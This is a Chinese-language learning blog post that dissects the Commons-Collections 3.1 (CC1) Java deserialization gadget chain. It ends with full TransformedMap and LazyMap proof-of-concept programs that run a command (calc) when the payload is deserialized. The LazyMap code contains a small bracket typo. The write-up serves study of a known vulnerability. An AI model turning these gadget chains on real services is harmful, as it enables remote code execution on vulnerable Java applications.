浅谈Commons-Collections1 反序列化 前言 想学Java很久了,之前也买了P牛的知识星球,但由于没啥基础,所以Java代码审计里面很多内容都看不太懂。最近这段时间学了一下SE的基础、反射和动态代理。现在来学习一下反序列化。
Commons-Collections是什么? Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强大的数据结构类型和实现了各种集合工具类。作为Apache开放项目的重要组件,Commons Collections被广泛的各种Java应用的开发。
漏洞复现环境:
commons-collections3.1
jdk8u65
关于jdk: 最好是把src.zip解压,然后加入openjdk的对应版本的sun包,因为甲骨文的jdk的sum包是class文件,没法调试
复现过程: 先来看一下InvokerTransformer类
这里接收一个对象,然后反射调用,其中方法名、参数类型和参数全都是可控的。这里就是一个任意方法调用。先用反射来弹一个计算器
1 2 3 4 5 6 7 public static void main (String[] args) throws Exception { Class runtime = Class.forName("java.lang.Runtime" ); Method getRuntime = runtime.getMethod("getRuntime" ); Method execMethod = runtime.getMethod("exec" , String.class); Object r = getRuntime.invoke(runtime); execMethod.invoke(r,"calc" ); }
现在把这个改成InvokerTransformer
的写法,先来看下构造函数。参数名、参数类型、参数值。
1 2 3 4 5 6 public static void main (String[] args) throws Exception { Class runtime = Class.forName("java.lang.Runtime" ); Method getRuntime = runtime.getMethod("getRuntime" ); Object r = getRuntime.invoke(runtime); new InvokerTransformer("exec" ,new Class[]{String.class},new Object[]{"calc" }).transform(r); }
接下来就找一找有哪些类调用了InvokerTransformer
类的transform
方法。
最后是找到了TransformedMap
类有几处调用了这个transform
方法。
我们重点来看一下TransformedMap
的构造函数和checkSetValue
方法,这里提供了一个静态方法decorate
,可以返回一个TransformedMap对象。
可以看到构造器传入了一个map
、传入了一个keyTransforme
r和一个valueTransformer
,而checkSetValue
方法中,执行了valueTransformer
的transform
方法。
1 2 3 4 InvokerTransformer invokerTransformer = new InvokerTransformer("exec" ,new Class[]{String.class},new Object[]{"calc" }); HashMap<Object,Object> map = new HashMap<>(); map.put("key" ,"aaa" ); Map<Object,Object> transformedMap = TransformedMap.decorate(map,null ,invokerTransformer);
这里将一个map
和invokerTransforme
r对象传入进去,就会执行invokerTransformer.transformer(value)
,如果要达到命令执行的效果的话,这里的value
必须得是可控的。所以这里查找一下哪里调用了这个checkSetValue
。
发现AbstractInputCheckedMapDecorator
类的MapEntry
方法调用了checkSetValue
。
只需要遍历这里被修饰过的Map,就会走到MapEntry
方法的setValue方法。接着就会调用checkSetValue
方法,也就是回到了TransformedMap
的checkSetValue
。
现在只需要找哪个类的readObject方法调用了这里的setValue。最后是在sun.reflect.annotation.AnnotationInvocationHandler
类中找到了。
这里有一个遍历Map的功能,然后memberValue.setValue
这里对这个值调用了setValue方法。先来看下这个类的构造方法
它接受两个参数,第一个参数type是一个Class对象,第二个参数memberValues是一个Map对象。这个Map对象是完全可控的,我们可以将前面写好的Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
这个transformedMap传进去。由于这个类没有声明是public,默认的是default类型,那么只能在他的这个包底下才能访问,所以我们只能通过反射去获取这个类。
1 2 3 4 Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class); annotationInvocationHandlerConstructor.setAccessible(true ); Object o = annotationInvocationHandlerConstructor.newInstance(Override.class,transformedMap);
虽然看起来这样子没什么问题,但是其实还是有个问题:
这里的value想要传入Runtime对象,如何传进去呢?
先来改一下代码,之前是只用InvokerTransformer调用了exec方法,现在将整个反射过程都用InvokerTransformer来写
1 2 3 4 5 Method getRuntimeMethod =(Method) new InvokerTransformer("getMethod" ,new Class[]{String.class,Class[].class},new Object[]{"getRuntime" ,null }).transform(Runtime.class); Runtime r =(Runtime) new InvokerTransformer("invoke" ,new Class[]{Object.class,Object[].class},new Object[]{null ,null }).transform(getRuntimeMethod); new InvokerTransformer("exec" ,new Class[]{String.class},new Object[]{"calc" }).transform(r);
但是这样要重复的写好几个类,所以可以用ChainedTransformer
来一起写了,先来看一下他的构造函数
传入的是一个Transformer[]数组,我们可以把要调用的方法全都写进去,然后transform方法会进行一个递归的调用。
1 2 3 4 5 6 7 8 Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod" ,new Class[]{String.class,Class[].class},new Object[]{"getRuntime" ,null }), new InvokerTransformer("invoke" ,new Class[]{Object.class,Object[].class},new Object[]{null ,null }), new InvokerTransformer("exec" ,new Class[]{String.class},new Object[]{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(Runtime.class);
现在可以正常弹出计算机了,说明已经把格式改过来了。
这里之前传入的是invokerTransformer,我们全都改写成了chainedTransformer,所以直接传入chainedTransformer对象就好了
这里只调用了一次,就相当于调用了Transformer[]数组里的三次方法。现在就应该着手于如何解决之前提出的问题:
可能有两个地方出现了问题:
这里最开始if判断没有通过!
memberValue.setValue这里有问题!
现在去调试一下,这里对memberValues调用getKey()方法,然后再在memberTypes里面查找这个key。没找到,这个if就直接没进去
所以必须要找一个有成员方法的class,并且数组的这个key,还要改为他的成员方法的名字
这里是找到了一个Target,把map.put那里第一个参数改为value,然后继续调试。
这下是能进入if了,然后继续跟进,发现最后走到了checkSetValue这里,也就是执行命令的最后那个点
注意看这里的value值,还是得不到我们想要的。这时候其实有一个类可以解决,那就是ConstantTransformer
这个类的transform方法无论传入什么参数,都会返回构造的时候传入的值。
虽然AnnotationInvocationHandler
类最后那个member.setValue的Value的值我们控制不了,但是只需要最后调用的是ConstantTransformer的transformer方法就可以返回Runtime对象了
因为最后执行命令是调用了transforms的transform方法,所以将这个ConstantTransformer
写到最前面,让他返回一个Runtime对象
然后再进行后续的一系列调用,最后成功弹出计算器。
完整利用链:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 package CC.CC1;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map;public class CC1Test { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" ,new Class[]{String.class,Class[].class},new Object[]{"getRuntime" ,null }), new InvokerTransformer("invoke" ,new Class[]{Object.class,Object[].class},new Object[]{null ,null }), new InvokerTransformer("exec" ,new Class[]{String.class},new Object[]{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object,Object> map = new HashMap<>(); map.put("value" ,"aaa" ); Map<Object,Object> transformedMap = TransformedMap.decorate(map,null ,chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class); annotationInvocationHandlerConstructor.setAccessible(true ); Object o = annotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap); serialize(o); unserialize("Le1aaaa.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("Le1aaaa.bin" )); oos.writeObject(obj); } public static Object unserialize (String Filename) throws IOException,ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
LazyMap链: LazyMap跟和TransformedMap类似,都继承了AbstractMapDecorator。但是其漏洞的出发点不一样,TransformedMap是在写入元素的时候执行transform方法,而LazyMap是在get方法中执行的factory.transfrom
。
1 2 3 4 5 6 7 8 9 public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
可以看到get方法里面调用了transform方法,get() 方法获取不到 key 的时候触发 transform,所以我们构造时就不放key了。接下来看看factory是否可控
通过构造函数,我们可以看到factory是可控的,于是可以按照构造函数的规则进行构造并调用get方法
但是在sun.reflect.annotation.AnnotationInvocationHandler
的readobj中没有找到直接调用Map的get方法。但是在AnnotationInvocationHandler类中的invoke方法调用到了get:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public Object invoke (Object proxy, Method method, Object[] args) { String member = method.getName(); Class<?>[] paramTypes = method.getParameterTypes(); if (member.equals("equals" ) && paramTypes.length == 1 && paramTypes[0 ] == Object.class) return equalsImpl(args[0 ]); if (paramTypes.length != 0 ) throw new AssertionError("Too many parameters for an annotation method" ); switch (member) { case "toString" : return toStringImpl(); case "hashCode" : return hashCodeImpl(); case "annotationType" : return type; } Object result = memberValues.get(member);
接着我们看一下这里的memberValues是否可控,如果可控就可以传入上面的POC
这里的invoke()方法会根据传入参数,先获取调用方法名和调用参数,然后需要我们调用的方法不能是equals且调用方法是无参的。然后因为下面switch(var7)我们要让他default,所以var7我们要保持它的值是-1,所以我们传入的方法也不能是toString,hashCode,annotationType。
接下来就需要去到readobject中去找,看看有没有调用一些满足条件的无参方法,这样反序列化时配合动态代理机制就可以自动跳转到这里。知识点:被动态代理的对象调用任意方法都会调用对应的InvocationHandler的invoke方法
readObject方法里面,不需要任何处理就会自己调用一个无参方法entrySet(),所以我们只需要控制memberValues传入的是动态代理的实例对象,即可进入到invoke方法调用get方法,进而调用transform执行命令了
因为想要LazyMap调用get方法,所以这里传入,让memberValues等于LazyMap,因为readObject里面调用过无参方法,所以这里就会走到AnnotationInvocationHandler类的invoke方法,然后就会调用LazyMap,进而执行transform。
完整POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 package CC.CC1.LazyMap;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class LazyMapPoc { public static void main (String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" ,new Class[]{String.class,Class[].class},new Object[]{"getRuntime" ,null ), new InvokerTransformer("invoke" ,new Class[]{Object.class,Object[].class},new Object[]{null ,null ), new InvokerTransformer("exec" ,new Class[]{String.class},new Object[]{"calc.exe" }) }; ChainedTransformer transformerChain = new ChainedTransformer(transformers); Map hashMap = new HashMap(); Map lazyMap = LazyMap.decorate(hashMap,transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true ); InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class,lazyMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},handler); handler = (InvocationHandler) constructor.newInstance(Retention.class,proxyMap); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(handler); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o =(Object) ois.readObject(); } }
放一张ysoserial的顺序图来说明整个完整调用流程
最后: 前前后后差不都看了接近一周了,对于初学者来说,理解起来还是很不容易,还是自己太菜了!继续加油吧!😴😴😴